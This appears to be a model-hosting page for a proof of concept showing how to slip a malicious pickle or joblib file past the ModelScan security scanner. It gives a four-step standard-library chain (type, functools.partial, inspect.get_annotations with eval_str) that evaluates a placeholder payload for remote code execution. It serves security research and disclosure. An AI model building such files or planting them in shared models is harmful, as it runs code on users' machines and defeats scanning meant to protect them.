ModelScan Bypass PoC: inspect.get_annotations() + functools.partial() + builtins.type()
This bypass uses a 4-step chain of completely unblocked standard library functions:
ns = {"__annotations__": {"x": PAYLOAD}}
cls = builtins.type("X", (), ns) # type β blocklist β
p = functools.partial(get_annotations, eval_str=True) # functools, inspect β blocklist β
p(cls) # β eval(PAYLOAD) β REMOTE CODE EXECUTION
Size: 214 bytes (.pkl) / 235 bytes (.joblib)
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support